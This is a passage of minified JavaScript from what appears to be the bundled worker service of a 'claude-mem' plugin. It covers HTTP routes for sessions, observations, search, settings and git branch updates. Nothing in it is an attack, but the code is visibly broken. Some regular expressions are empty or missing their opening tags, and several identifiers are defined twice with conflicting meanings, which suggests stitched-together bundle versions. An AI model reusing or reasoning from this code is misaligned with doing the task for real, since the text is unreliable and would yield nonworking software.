Date(e).toLocaleString("en-US",{month:"short",day:"numeric",hour:"numeric",minute:"2-digit",hour12:!0})}estimateTokens(e){return e?Math.ceil(e.length/4):0}};var Rl=class{constructor(e,r){this.sseBroadcaster=e;this.workerService=r}broadcastNewPrompt(e){this.sseBroadcaster.broadcast({type:"new_prompt",prompt:e}),this.sseBroadcaster.broadcast({type:"processing_status",isProcessing:!0}),this.workerService.broadcastProcessingStatus()}broadcastSessionStarted(e,r){this.sseBroadcaster.broadcast({type:"session_started",sessionDbId:e,project:r}),this.workerService.broadcastProcessingStatus()}broadcastObservationQueued(e){this.sseBroadcaster.broadcast({type:"observation_queued",sessionDbId:e}),this.workerService.broadcastProcessingStatus()}broadcastSessionCompleted(e){this.sseBroadcaster.broadcast({type:"session_completed",timestamp:Date.now(),sessionDbId:e}),this.workerService.broadcastProcessingStatus()}broadcastSummarizeQueued(){this.workerService.broadcastProcessingStatus()}};var Vm=kt(Kc(),1),Xk=kt(Kk(),1),Jk=kt(require("path"),1);dr();mt();function Yk(t){let e=[];e.push(Vm.default.json({limit:"50mb"})),e.push((0,Xk.default)()),e.push((a,s,i)=>{let c=[".html",".js",".css",".svg",".png",".jpg",".jpeg",".webp",".woff",".woff2",".ttf",".eot"].some(m=>a.path.endsWith(m));if(a.path.startsWith("/health")||a.path==="/"||c)return i();let u=Date.now(),l=`${a.method}-${Date.now()}`,d=t(a.method,a.path,a.body);U.info("HTTP",`\u2192 ${a.method} ${a.path}`,{requestId:l},d);let f=s.send.bind(s);s.send=function(m){let g=Date.now()-u;return U.info("HTTP",`\u2190 ${s.statusCode} ${a.path}`,{requestId:l,duration:`${g}ms`}),f(m)},i()});let r=nr(),n=Jk.default.join(r,"plugin","ui");return e.push(Vm.default.static(n)),e}function Zm(t,e,r){let n=t.ip||t.connection.remoteAddress||"";if(!(n==="127.0.0.1"||n==="::1"||n==="::ffff:127.0.0.1"||n==="localhost")){U.warn("SECURITY","Admin endpoint access denied - not localhost",{endpoint:t.path,clientIp:n,method:t.method}),e.status(403).json({error:"Forbidden",message:"Admin endpoints are only accessible from localhost"});return}r()}function Qk(t,e,r){if(!r||Object.keys(r).length===0||e.includes("/init"))return"";if(e.includes("/observations")){let n=r.tool_name||"?",a=r.tool_input;return`tool=${U.formatTool(n,a)}`}return e.includes("/summarize")?"requesting summary":""}var e$=kt(Kc(),1),Pl=kt(require("path"),1),Cl=require("fs");dr();mt();var Or=class{wrapHandler(e){return(r,n)=>{try{let a=e(r,n);a instanceof Promise&&a.catch(s=>this.handleError(n,s))}catch(a){this.handleError(n,a)}}}parseIntParam(e,r,n){let a=parseInt(e.params[n],10);return isNaN(a)?(this.badRequest(r,`Invalid ${n}`),null):a}validateRequired(e,r,n){for(let a of n)if(e.body[a]===void 0||e.body[a]===null)return this.badRequest(r,`Missing ${a}`),!1;return!0}badRequest(e,r){e.status(400).json({error:r})}notFound(e,r){e.status(404).json({error:r})}handleError(e,r,n){U.failure("WORKER",n||"Request failed",{},r),e.status(500).json({error:r.message})}};var Ol=class extends Or{constructor(r,n,a){super();this.sseBroadcaster=r;this.dbManager=n;this.sessionManager=a}setupRoutes(r){let n=nr();r.use(e$.default.static(Pl.default.join(n,"ui"))),r.get("/health",this.handleHealth.bind(this)),r.get("/",this.handleViewerUI.bind(this)),r.get("/stream",this.handleSSEStream.bind(this))}handleHealth=this.wrapHandler((r,n)=>{n.json({status:"ok",timestamp:Date.now()})});handleViewerUI=this.wrapHandler((r,n)=>{let a=nr(),i=[Pl.default.join(a,"ui","viewer.html"),Pl.default.join(a,"plugin","ui","viewer.html")].find(c=>(0,Cl.existsSync)(c));if(!i)throw new Error("Viewer UI not found at any expected location");let o=(0,Cl.readFileSync)(i,"utf-8");n.setHeader("Content-Type","text/html"),n.send(o)});handleSSEStream=this.wrapHandler((r,n)=>{n.setHeader("Content-Type","text/event-stream"),n.setHeader("Cache-Control","no-cache"),n.setHeader("Connection","keep-alive"),this.sseBroadcaster.addClient(n);let a=this.dbManager.getSessionStore().getAllProjects();this.sseBroadcaster.broadcast({type:"initial_load",projects:a,timestamp:Date.now()});let s=this.sessionManager.isAnySessionProcessing(),i=this.sessionManager.getTotalActiveWork();this.sseBroadcaster.broadcast({type:"processing_status",isProcessing:s,queueDepth:i})})};mt();mt();var t$=100;function C7(t){let e=(t.match(//g)||[]).length,r=(t.match(//g)||[]).length;return e+r}function r$(t){let e=C7(t);return e>t$&&U.warn("SYSTEM","tag count exceeds limit",void 0,{tagCount:e,maxAllowed:t$,contentLength:t.length}),t.replace(/[\s\S]*?<\/claude-mem-context>/g,"").replace(/[\s\S]*?<\/private>/g,"").trim()}function Gm(t){return r$(t)}function a$(t){return r$(t)}var Il=class{constructor(e,r,n){this.sessionManager=e;this.dbManager=r;this.eventBroadcaster=n}async completeByDbId(e){await this.sessionManager.deleteSession(e),this.dbManager.markSessionComplete(e),this.eventBroadcaster.broadcastSessionCompleted(e)}async completeByClaudeId(e){let n=this.dbManager.getSessionStore().findActiveSDKSession(e);if(!n)return!1;let a=n.id;return await this.completeByDbId(a),!0}};mt();var Mo=class{static checkUserPromptPrivacy(e,r,n,a,s,i){let o=e.getUserPrompt(r,n);return!o||o.trim()===""?(U.debug("HOOK",`Skipping ${a} - user prompt was entirely private`,{sessionId:s,promptNumber:n,...i}),null):o}};Dr();dr();var Al=class extends Or{constructor(r,n,a,s,i){super();this.sessionManager=r;this.dbManager=n;this.sdkAgent=a;this.eventBroadcaster=s;this.workerService=i;this.completionHandler=new Il(r,n,s)}completionHandler;ensureGeneratorRunning(r,n){let a=this.sessionManager.getSession(r);a&&!a.generatorPromise&&(U.info("SESSION",`Generator auto-starting (${n})`,{sessionId:r,queueDepth:a.pendingMessages.length}),a.generatorPromise=this.sdkAgent.startSession(a,this.workerService).finally(()=>{U.info("SESSION","Generator finished",{sessionId:r}),a.generatorPromise=null,this.workerService.broadcastProcessingStatus()}))}setupRoutes(r){r.post("/sessions/:sessionDbId/init",this.handleSessionInit.bind(this)),r.post("/sessions/:sessionDbId/observations",this.handleObservations.bind(this)),r.post("/sessions/:sessionDbId/summarize",this.handleSummarize.bind(this)),r.get("/sessions/:sessionDbId/status",this.handleSessionStatus.bind(this)),r.delete("/sessions/:sessionDbId",this.handleSessionDelete.bind(this)),r.post("/sessions/:sessionDbId/complete",this.handleSessionComplete.bind(this)),r.post("/api/sessions/init",this.handleSessionInitByClaudeId.bind(this)),r.post("/api/sessions/observations",this.handleObservationsByClaudeId.bind(this)),r.post("/api/sessions/summarize",this.handleSummarizeByClaudeId.bind(this)),r.post("/api/sessions/complete",this.handleSessionCompleteByClaudeId.bind(this))}handleSessionInit=this.wrapHandler((r,n)=>{let a=this.parseIntParam(r,n,"sessionDbId");if(a===null)return;let{userPrompt:s,promptNumber:i}=r.body,o=this.sessionManager.initializeSession(a,s,i),c=this.dbManager.getSessionStore().getLatestUserPrompt(o.claudeSessionId);if(c){this.eventBroadcaster.broadcastNewPrompt({id:c.id,claude_session_id:c.claude_session_id,project:c.project,prompt_number:c.prompt_number,prompt_text:c.prompt_text,created_at_epoch:c.created_at_epoch});let u=Date.now(),l=c.prompt_text;this.dbManager.getChromaSync().syncUserPrompt(c.id,c.sdk_session_id,c.project,l,c.prompt_number,c.created_at_epoch).then(()=>{let d=Date.now()-u,f=l.length>60?l.substring(0,60)+"...":l;U.debug("CHROMA","User prompt synced",{promptId:c.id,duration:`${d}ms`,prompt:f})})}U.info("SESSION","Generator starting",{sessionId:a,project:o.project,promptNum:o.lastPromptNumber}),o.generatorPromise=this.sdkAgent.startSession(o,this.workerService).finally(()=>{U.info("SESSION","Generator finished",{sessionId:a}),o.generatorPromise=null,this.workerService.broadcastProcessingStatus()}),this.eventBroadcaster.broadcastSessionStarted(a,o.project),n.json({status:"initialized",sessionDbId:a,port:qs()})});handleObservations=this.wrapHandler((r,n)=>{let a=this.parseIntParam(r,n,"sessionDbId");if(a===null)return;let{tool_name:s,tool_input:i,tool_response:o,prompt_number:c,cwd:u}=r.body;this.sessionManager.queueObservation(a,{tool_name:s,tool_input:i,tool_response:o,prompt_number:c,cwd:u}),this.ensureGeneratorRunning(a,"observation"),this.eventBroadcaster.broadcastObservationQueued(a),n.json({status:"queued"})});handleSummarize=this.wrapHandler((r,n)=>{let a=this.parseIntParam(r,n,"sessionDbId");if(a===null)return;let{last_user_message:s,last_assistant_message:i}=r.body;this.sessionManager.queueSummarize(a,s,i),this.ensureGeneratorRunning(a,"summarize"),this.eventBroadcaster.broadcastSummarizeQueued(),n.json({status:"queued"})});handleSessionStatus=this.wrapHandler((r,n)=>{let a=this.parseIntParam(r,n,"sessionDbId");if(a===null)return;let s=this.sessionManager.getSession(a);if(!s){n.json({status:"not_found"});return}n.json({status:"active",sessionDbId:a,project:s.project,queueLength:s.pendingMessages.length,uptime:Date.now()-s.startTime})});handleSessionDelete=this.wrapHandler(async(r,n)=>{let a=this.parseIntParam(r,n,"sessionDbId");a!==null&&(await this.completionHandler.completeByDbId(a),n.json({status:"deleted"}))});handleSessionComplete=this.wrapHandler(async(r,n)=>{let a=this.parseIntParam(r,n,"sessionDbId");a!==null&&(await this.completionHandler.completeByDbId(a),n.json({success:!0}))});handleObservationsByClaudeId=this.wrapHandler((r,n)=>{let{claudeSessionId:a,tool_name:s,tool_input:i,tool_response:o,cwd:c}=r.body;if(!a)return this.badRequest(n,"Missing claudeSessionId");let u=ct.loadFromFile(In);if(new Set(u.CLAUDE_MEM_SKIP_TOOLS.split(",").map(y=>y.trim()).filter(Boolean)).has(s)){U.debug("SESSION","Skipping observation for tool",{tool_name:s}),n.json({status:"skipped",reason:"tool_excluded"});return}if(new Set(["Edit","Write","Read","NotebookEdit"]).has(s)&&i){let y=i.file_path||i.notebook_path;if(y&&y.includes("session-memory")){U.debug("SESSION","Skipping meta-observation for session-memory file",{tool_name:s,file_path:y}),n.json({status:"skipped",reason:"session_memory_meta"});return}}let f=this.dbManager.getSessionStore(),m=f.createSDKSession(a,"",""),g=f.getPromptCounter(m);if(!Mo.checkUserPromptPrivacy(f,a,g,"observation",m,{tool_name:s})){n.json({status:"skipped",reason:"private"});return}let p=i!==void 0?Gm(JSON.stringify(i)):"{}",h=o!==void 0?Gm(JSON.stringify(o)):"{}";this.sessionManager.queueObservation(m,{tool_name:s,tool_input:p,tool_response:h,prompt_number:g,cwd:c||U.happyPathError("SESSION","Missing cwd when queueing observation in SessionRoutes",{sessionId:m},{tool_name:s},"")}),this.ensureGeneratorRunning(m,"observation"),this.eventBroadcaster.broadcastObservationQueued(m),n.json({status:"queued"})});handleSummarizeByClaudeId=this.wrapHandler((r,n)=>{let{claudeSessionId:a,last_user_message:s,last_assistant_message:i}=r.body;if(!a)return this.badRequest(n,"Missing claudeSessionId");let o=this.dbManager.getSessionStore(),c=o.createSDKSession(a,"",""),u=o.getPromptCounter(c);if(!Mo.checkUserPromptPrivacy(o,a,u,"summarize",c)){n.json({status:"skipped",reason:"private"});return}this.sessionManager.queueSummarize(c,s||U.happyPathError("SESSION","Missing last_user_message when queueing summary in SessionRoutes",{sessionId:c},void 0,""),i),this.ensureGeneratorRunning(c,"summarize"),this.eventBroadcaster.broadcastSummarizeQueued(),n.json({status:"queued"})});handleSessionCompleteByClaudeId=this.wrapHandler(async(r,n)=>{let{claudeSessionId:a}=r.body;if(!a)return this.badRequest(n,"Missing claudeSessionId");if(!await this.completionHandler.completeByClaudeId(a)){n.json({success:!0,message:"No active session found"});return}n.json({success:!0})});handleSessionInitByClaudeId=this.wrapHandler((r,n)=>{let{claudeSessionId:a,project:s,prompt:i}=r.body;if(!this.validateRequired(r,n,["claudeSessionId","project","prompt"]))return;let o=this.dbManager.getSessionStore(),c=o.createSDKSession(a,s,i),u=o.incrementPromptCounter(c),l=a$(i);if(!l||l.trim()===""){U.debug("HOOK","Session init - prompt entirely private",{sessionId:c,promptNumber:u,originalLength:i.length}),n.json({sessionDbId:c,promptNumber:u,skipped:!0,reason:"private"});return}o.saveUserPrompt(a,u,l),U.info("SESSION","Session initialized via HTTP",{sessionId:c,promptNumber:u,project:s}),n.json({sessionDbId:c,promptNumber:u,skipped:!1})})};var Wm=kt(require("path"),1),li=require("fs"),n$=require("os");dr();var Nl=class extends Or{constructor(r,n,a,s,i,o){super();this.paginationHelper=r;this.dbManager=n;this.sessionManager=a;this.sseBroadcaster=s;this.workerService=i;this.startTime=o}setupRoutes(r){r.get("/api/observations",this.handleGetObservations.bind(this)),r.get("/api/summaries",this.handleGetSummaries.bind(this)),r.get("/api/prompts",this.handleGetPrompts.bind(this)),r.get("/api/observation/:id",this.handleGetObservationById.bind(this)),r.post("/api/observations/batch",this.handleGetObservationsByIds.bind(this)),r.get("/api/session/:id",this.handleGetSessionById.bind(this)),r.post("/api/sdk-sessions/batch",this.handleGetSdkSessionsByIds.bind(this)),r.get("/api/prompt/:id",this.handleGetPromptById.bind(this)),r.get("/api/stats",this.handleGetStats.bind(this)),r.get("/api/projects",this.handleGetProjects.bind(this)),r.get("/api/processing-status",this.handleGetProcessingStatus.bind(this)),r.post("/api/processing",this.handleSetProcessing.bind(this)),r.post("/api/import",this.handleImport.bind(this))}handleGetObservations=this.wrapHandler((r,n)=>{let{offset:a,limit:s,project:i}=this.parsePaginationParams(r),o=this.paginationHelper.getObservations(a,s,i);n.json(o)});handleGetSummaries=this.wrapHandler((r,n)=>{let{offset:a,limit:s,project:i}=this.parsePaginationParams(r),o=this.paginationHelper.getSummaries(a,s,i);n.json(o)});handleGetPrompts=this.wrapHandler((r,n)=>{let{offset:a,limit:s,project:i}=this.parsePaginationParams(r),o=this.paginationHelper.getPrompts(a,s,i);n.json(o)});handleGetObservationById=this.wrapHandler((r,n)=>{let a=this.parseIntParam(r,n,"id");if(a===null)return;let i=this.dbManager.getSessionStore().getObservationById(a);if(!i){this.notFound(n,`Observation #${a} not found`);return}n.json(i)});handleGetObservationsByIds=this.wrapHandler((r,n)=>{let{ids:a,orderBy:s,limit:i,project:o}=r.body;if(!a||!Array.isArray(a)){this.badRequest(n,"ids must be an array of numbers");return}if(a.length===0){n.json([]);return}if(!a.every(l=>typeof l=="number"&&Number.isInteger(l))){this.badRequest(n,"All ids must be integers");return}let u=this.dbManager.getSessionStore().getObservationsByIds(a,{orderBy:s,limit:i,project:o});n.json(u)});handleGetSessionById=this.wrapHandler((r,n)=>{let a=this.parseIntParam(r,n,"id");if(a===null)return;let i=this.dbManager.getSessionStore().getSessionSummariesByIds([a]);if(i.length===0){this.notFound(n,`Session #${a} not found`);return}n.json(i[0])});handleGetSdkSessionsByIds=this.wrapHandler((r,n)=>{let{sdkSessionIds:a}=r.body;if(!Array.isArray(a)){this.badRequest(n,"sdkSessionIds must be an array");return}let i=this.dbManager.getSessionStore().getSdkSessionsBySessionIds(a);n.json(i)});handleGetPromptById=this.wrapHandler((r,n)=>{let a=this.parseIntParam(r,n,"id");if(a===null)return;let i=this.dbManager.getSessionStore().getUserPromptsByIds([a]);if(i.length===0){this.notFound(n,`Prompt #${a} not found`);return}n.json(i[0])});handleGetStats=this.wrapHandler((r,n)=>{let a=this.dbManager.getSessionStore().db,s=nr(),i=Wm.default.join(s,"package.json"),c=JSON.parse((0,li.readFileSync)(i,"utf-8")).version,u=a.prepare("SELECT COUNT(*) as count FROM observations").get(),l=a.prepare("SELECT COUNT(*) as count FROM sdk_sessions").get(),d=a.prepare("SELECT COUNT(*) as count FROM session_summaries").get(),f=Wm.default.join((0,n$.homedir)(),".claude-mem","claude-mem.db"),m=0;(0,li.existsSync)(f)&&(m=(0,li.statSync)(f).size);let g=Math.floor((Date.now()-this.startTime)/1e3),b=this.sessionManager.getActiveSessionCount(),p=this.sseBroadcaster.getClientCount();n.json({worker:{version:c,uptime:g,activeSessions:b,sseClients:p,port:qs()},database:{path:f,size:m,observations:u.count,sessions:l.count,summaries:d.count}})});handleGetProjects=this.wrapHandler((r,n)=>{let i=this.dbManager.getSessionStore().db.prepare(` SELECT DISTINCT project FROM observations WHERE project IS NOT NULL GROUP BY project ORDER BY MAX(created_at_epoch) DESC - `).all().map(o=>o.project);n.json({projects:i})});handleGetProcessingStatus=this.wrapHandler((r,n)=>{let a=this.sessionManager.isAnySessionProcessing(),s=this.sessionManager.getTotalActiveWork();n.json({isProcessing:a,queueDepth:s})});handleSetProcessing=this.wrapHandler((r,n)=>{this.workerService.broadcastProcessingStatus();let a=this.sessionManager.isAnySessionProcessing(),s=this.sessionManager.getTotalQueueDepth(),i=this.sessionManager.getActiveSessionCount();n.json({status:"ok",isProcessing:a,queueDepth:s,activeSessions:i})});parsePaginationParams(r){let n=parseInt(r.query.offset,10)||0,a=Math.min(parseInt(r.query.limit,10)||20,100),s=r.query.project;return{offset:n,limit:a,project:s}}handleImport=this.wrapHandler((r,n)=>{let{sessions:a,summaries:s,observations:i,prompts:o}=r.body,c={sessionsImported:0,sessionsSkipped:0,summariesImported:0,summariesSkipped:0,observationsImported:0,observationsSkipped:0,promptsImported:0,promptsSkipped:0},u=this.dbManager.getSessionStore();if(Array.isArray(a))for(let l of a)u.importSdkSession(l).imported?c.sessionsImported++:c.sessionsSkipped++;if(Array.isArray(s))for(let l of s)u.importSessionSummary(l).imported?c.summariesImported++:c.summariesSkipped++;if(Array.isArray(i))for(let l of i)u.importObservation(l).imported?c.observationsImported++:c.observationsSkipped++;if(Array.isArray(o))for(let l of o)u.importUserPrompt(l).imported?c.promptsImported++:c.promptsSkipped++;n.json({success:!0,stats:c})})};var Dl=class extends kr{constructor(r){super();this.searchManager=r}setupRoutes(r){r.get("/api/search",this.handleUnifiedSearch.bind(this)),r.get("/api/timeline",this.handleUnifiedTimeline.bind(this)),r.get("/api/decisions",this.handleDecisions.bind(this)),r.get("/api/changes",this.handleChanges.bind(this)),r.get("/api/how-it-works",this.handleHowItWorks.bind(this)),r.get("/api/search/observations",this.handleSearchObservations.bind(this)),r.get("/api/search/sessions",this.handleSearchSessions.bind(this)),r.get("/api/search/prompts",this.handleSearchPrompts.bind(this)),r.get("/api/search/by-concept",this.handleSearchByConcept.bind(this)),r.get("/api/search/by-file",this.handleSearchByFile.bind(this)),r.get("/api/search/by-type",this.handleSearchByType.bind(this)),r.get("/api/context/recent",this.handleGetRecentContext.bind(this)),r.get("/api/context/timeline",this.handleGetContextTimeline.bind(this)),r.get("/api/context/preview",this.handleContextPreview.bind(this)),r.get("/api/context/inject",this.handleContextInject.bind(this)),r.get("/api/timeline/by-query",this.handleGetTimelineByQuery.bind(this)),r.get("/api/search/help",this.handleSearchHelp.bind(this))}handleUnifiedSearch=this.wrapHandler(async(r,n)=>{let a=await this.searchManager.search(r.query);n.json(a)});handleUnifiedTimeline=this.wrapHandler(async(r,n)=>{let a=await this.searchManager.timeline(r.query);n.json(a)});handleDecisions=this.wrapHandler(async(r,n)=>{let a=await this.searchManager.decisions(r.query);n.json(a)});handleChanges=this.wrapHandler(async(r,n)=>{let a=await this.searchManager.changes(r.query);n.json(a)});handleHowItWorks=this.wrapHandler(async(r,n)=>{let a=await this.searchManager.howItWorks(r.query);n.json(a)});handleSearchObservations=this.wrapHandler(async(r,n)=>{let a=await this.searchManager.searchObservations(r.query);n.json(a)});handleSearchSessions=this.wrapHandler(async(r,n)=>{let a=await this.searchManager.searchSessions(r.query);n.json(a)});handleSearchPrompts=this.wrapHandler(async(r,n)=>{let a=await this.searchManager.searchUserPrompts(r.query);n.json(a)});handleSearchByConcept=this.wrapHandler(async(r,n)=>{let a=await this.searchManager.findByConcept(r.query);n.json(a)});handleSearchByFile=this.wrapHandler(async(r,n)=>{let a=await this.searchManager.findByFile(r.query);n.json(a)});handleSearchByType=this.wrapHandler(async(r,n)=>{let a=await this.searchManager.findByType(r.query);n.json(a)});handleGetRecentContext=this.wrapHandler(async(r,n)=>{let a=await this.searchManager.getRecentContext(r.query);n.json(a)});handleGetContextTimeline=this.wrapHandler(async(r,n)=>{let a=await this.searchManager.getContextTimeline(r.query);n.json(a)});handleContextPreview=this.wrapHandler(async(r,n)=>{let a=r.query.project;if(!a){this.badRequest(n,"Project parameter is required");return}let{generateContext:s}=await Promise.resolve().then(()=>(Ml(),jl)),i=`/preview/${a}`,o=await s({session_id:"preview-"+Date.now(),cwd:i},!0);n.setHeader("Content-Type","text/plain; charset=utf-8"),n.send(o)});handleContextInject=this.wrapHandler(async(r,n)=>{let a=r.query.project,s=r.query.colors==="true";if(!a){this.badRequest(n,"Project parameter is required");return}let{generateContext:i}=await Promise.resolve().then(()=>(Ml(),jl)),o=`/context/${a}`,c=await i({session_id:"context-inject-"+Date.now(),cwd:o},s);n.setHeader("Content-Type","text/plain; charset=utf-8"),n.send(c)});handleGetTimelineByQuery=this.wrapHandler(async(r,n)=>{let a=await this.searchManager.getTimelineByQuery(r.query);n.json(a)});handleSearchHelp=this.wrapHandler((r,n)=>{n.json({title:"Claude-Mem Search API",description:"HTTP API for searching persistent memory",endpoints:[{path:"/api/search/observations",method:"GET",description:"Search observations using full-text search",parameters:{query:"Search query (required)",limit:"Number of results (default: 20)",project:"Filter by project name (optional)"}},{path:"/api/search/sessions",method:"GET",description:"Search session summaries using full-text search",parameters:{query:"Search query (required)",limit:"Number of results (default: 20)"}},{path:"/api/search/prompts",method:"GET",description:"Search user prompts using full-text search",parameters:{query:"Search query (required)",limit:"Number of results (default: 20)",project:"Filter by project name (optional)"}},{path:"/api/search/by-concept",method:"GET",description:"Find observations by concept tag",parameters:{concept:"Concept tag (required): discovery, decision, bugfix, feature, refactor",limit:"Number of results (default: 10)",project:"Filter by project name (optional)"}},{path:"/api/search/by-file",method:"GET",description:"Find observations and sessions by file path",parameters:{filePath:"File path or partial path (required)",limit:"Number of results per type (default: 10)",project:"Filter by project name (optional)"}},{path:"/api/search/by-type",method:"GET",description:"Find observations by type",parameters:{type:"Observation type (required): discovery, decision, bugfix, feature, refactor",limit:"Number of results (default: 10)",project:"Filter by project name (optional)"}},{path:"/api/context/recent",method:"GET",description:"Get recent session context including summaries and observations",parameters:{project:"Project name (default: current directory)",limit:"Number of recent sessions (default: 3)"}},{path:"/api/context/timeline",method:"GET",description:"Get unified timeline around a specific point in time",parameters:{anchor:'Anchor point: observation ID, session ID (e.g., "S123"), or ISO timestamp (required)',depth_before:"Number of records before anchor (default: 10)",depth_after:"Number of records after anchor (default: 10)",project:"Filter by project name (optional)"}},{path:"/api/timeline/by-query",method:"GET",description:"Search for best match, then get timeline around it",parameters:{query:"Search query (required)",mode:'Search mode: "auto", "observations", or "sessions" (default: "auto")',depth_before:"Number of records before match (default: 10)",depth_after:"Number of records after match (default: 10)",project:"Filter by project name (optional)"}},{path:"/api/search/help",method:"GET",description:"Get this help documentation"}],examples:['curl "http://localhost:37777/api/search/observations?query=authentication&limit=5"','curl "http://localhost:37777/api/search/by-type?type=bugfix&limit=10"','curl "http://localhost:37777/api/context/recent?project=claude-mem&limit=3"','curl "http://localhost:37777/api/context/timeline?anchor=123&depth_before=5&depth_after=5"']})})};var qn=$t(require("path"),1),qt=require("fs"),Jm=require("os");Ar();_t();var Km=require("child_process"),Dn=require("fs"),Yk=require("os"),No=require("path");_t();var jo=(0,No.join)((0,Yk.homedir)(),".claude","plugins","marketplaces","thedotmack");function Gm(t){return!t||typeof t!="string"?!1:/^[a-zA-Z0-9][a-zA-Z0-9._/-]*$/.test(t)&&!t.includes("..")}var v7=3e4,Xm=12e4;function Rr(t){let e=(0,Km.spawnSync)("git",t,{cwd:jo,encoding:"utf-8",timeout:v7,windowsHide:!0,shell:!1});if(e.error)throw e.error;if(e.status!==0)throw new Error(e.stderr||e.stdout||"Git command failed");return e.stdout.trim()}function Qk(t,e=Xm){let n=process.platform==="win32"?"npm.cmd":"npm",a=(0,Km.spawnSync)(n,t,{cwd:jo,encoding:"utf-8",timeout:e,windowsHide:!0,shell:!1});if(a.error)throw a.error;if(a.status!==0)throw new Error(a.stderr||a.stdout||"npm command failed");return a.stdout.trim()}function ql(){let t=(0,No.join)(jo,".git");if(!(0,Dn.existsSync)(t))return{branch:null,isBeta:!1,isGitRepo:!1,isDirty:!1,canSwitch:!1,error:"Installed plugin is not a git repository"};try{let e=Rr(["rev-parse","--abbrev-ref","HEAD"]),n=Rr(["status","--porcelain"]).length>0,a=e.startsWith("beta");return{branch:e,isBeta:a,isGitRepo:!0,isDirty:n,canSwitch:!0}}catch(e){return F.error("BRANCH","Failed to get branch info",{},e),{branch:null,isBeta:!1,isGitRepo:!0,isDirty:!1,canSwitch:!1,error:e.message}}}async function eR(t){if(!Gm(t))return{success:!1,error:`Invalid branch name: ${t}. Branch names must be alphanumeric with hyphens, underscores, slashes, or dots.`};let e=ql();if(!e.isGitRepo)return{success:!1,error:"Installed plugin is not a git repository. Please reinstall."};if(e.branch===t)return{success:!0,branch:t,message:`Already on branch ${t}`};try{F.info("BRANCH","Starting branch switch",{from:e.branch,to:t}),F.debug("BRANCH","Discarding local changes"),Rr(["checkout","--","."]),Rr(["clean","-fd"]),F.debug("BRANCH","Fetching from origin"),Rr(["fetch","origin"]),F.debug("BRANCH","Checking out branch",{branch:t});try{Rr(["checkout",t])}catch{Rr(["checkout","-b",t,`origin/${t}`])}F.debug("BRANCH","Pulling latest"),Rr(["pull","origin",t]);let r=(0,No.join)(jo,".install-version");return(0,Dn.existsSync)(r)&&(0,Dn.unlinkSync)(r),F.debug("BRANCH","Running npm install"),Qk(["install"],Xm),F.success("BRANCH","Branch switch complete",{branch:t}),{success:!0,branch:t,message:`Switched to ${t}. Worker will restart automatically.`}}catch(r){F.error("BRANCH","Branch switch failed",{targetBranch:t},r);try{e.branch&&Gm(e.branch)&&Rr(["checkout",e.branch])}catch{}return{success:!1,error:`Branch switch failed: ${r.message}`}}}async function tR(){let t=ql();if(!t.isGitRepo||!t.branch)return{success:!1,error:"Cannot pull updates: not a git repository"};try{if(!Gm(t.branch))return{success:!1,error:`Invalid current branch name: ${t.branch}`};F.info("BRANCH","Pulling updates",{branch:t.branch}),Rr(["checkout","--","."]),Rr(["fetch","origin"]),Rr(["pull","origin",t.branch]);let e=(0,No.join)(jo,".install-version");return(0,Dn.existsSync)(e)&&(0,Dn.unlinkSync)(e),Qk(["install"],Xm),F.success("BRANCH","Updates pulled",{branch:t.branch}),{success:!0,branch:t.branch,message:`Updated ${t.branch}. Worker will restart automatically.`}}catch(e){return F.error("BRANCH","Pull failed",{},e),{success:!1,error:`Pull failed: ${e.message}`}}}io();Yr();var Ll=class extends kr{constructor(r){super();this.settingsManager=r}setupRoutes(r){r.get("/api/settings",this.handleGetSettings.bind(this)),r.post("/api/settings",this.handleUpdateSettings.bind(this)),r.get("/api/mcp/status",this.handleGetMcpStatus.bind(this)),r.post("/api/mcp/toggle",this.handleToggleMcp.bind(this)),r.get("/api/branch/status",this.handleGetBranchStatus.bind(this)),r.post("/api/branch/switch",this.handleSwitchBranch.bind(this)),r.post("/api/branch/update",this.handleUpdateBranch.bind(this))}handleGetSettings=this.wrapHandler((r,n)=>{let a=qn.default.join((0,Jm.homedir)(),".claude-mem","settings.json");this.ensureSettingsFile(a);let s=ft.loadFromFile(a);n.json(s)});handleUpdateSettings=this.wrapHandler((r,n)=>{let a=this.validateSettings(r.body);if(!a.valid){n.status(400).json({success:!1,error:a.error});return}let s=qn.default.join((0,Jm.homedir)(),".claude-mem","settings.json");this.ensureSettingsFile(s);let i={};if((0,qt.existsSync)(s)){let c=(0,qt.readFileSync)(s,"utf-8");i=JSON.parse(c)}let o=["CLAUDE_MEM_MODEL","CLAUDE_MEM_CONTEXT_OBSERVATIONS","CLAUDE_MEM_WORKER_PORT","CLAUDE_MEM_WORKER_HOST","CLAUDE_MEM_DATA_DIR","CLAUDE_MEM_LOG_LEVEL","CLAUDE_MEM_PYTHON_VERSION","CLAUDE_CODE_PATH","CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS","CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS","CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_AMOUNT","CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_PERCENT","CLAUDE_MEM_CONTEXT_OBSERVATION_TYPES","CLAUDE_MEM_CONTEXT_OBSERVATION_CONCEPTS","CLAUDE_MEM_CONTEXT_FULL_COUNT","CLAUDE_MEM_CONTEXT_FULL_FIELD","CLAUDE_MEM_CONTEXT_SESSION_COUNT","CLAUDE_MEM_CONTEXT_SHOW_LAST_SUMMARY","CLAUDE_MEM_CONTEXT_SHOW_LAST_MESSAGE"];for(let c of o)r.body[c]!==void 0&&(i[c]=r.body[c]);(0,qt.writeFileSync)(s,JSON.stringify(i,null,2),"utf-8"),BE(),F.info("WORKER","Settings updated"),n.json({success:!0,message:"Settings updated successfully"})});handleGetMcpStatus=this.wrapHandler((r,n)=>{let a=this.isMcpEnabled();n.json({enabled:a})});handleToggleMcp=this.wrapHandler((r,n)=>{let{enabled:a}=r.body;if(typeof a!="boolean"){this.badRequest(n,"enabled must be a boolean");return}this.toggleMcp(a),n.json({success:!0,enabled:this.isMcpEnabled()})});handleGetBranchStatus=this.wrapHandler((r,n)=>{let a=ql();n.json(a)});handleSwitchBranch=this.wrapHandler(async(r,n)=>{let{branch:a}=r.body;if(!a){n.status(400).json({success:!1,error:"Missing branch parameter"});return}let s=["main","beta/7.0","feature/bun-executable"];if(!s.includes(a)){n.status(400).json({success:!1,error:`Invalid branch. Allowed: ${s.join(", ")}`});return}F.info("WORKER","Branch switch requested",{branch:a});let i=await eR(a);i.success&&setTimeout(()=>{F.info("WORKER","Restarting worker after branch switch"),process.exit(0)},1e3),n.json(i)});handleUpdateBranch=this.wrapHandler(async(r,n)=>{F.info("WORKER","Branch update requested");let a=await tR();a.success&&setTimeout(()=>{F.info("WORKER","Restarting worker after branch 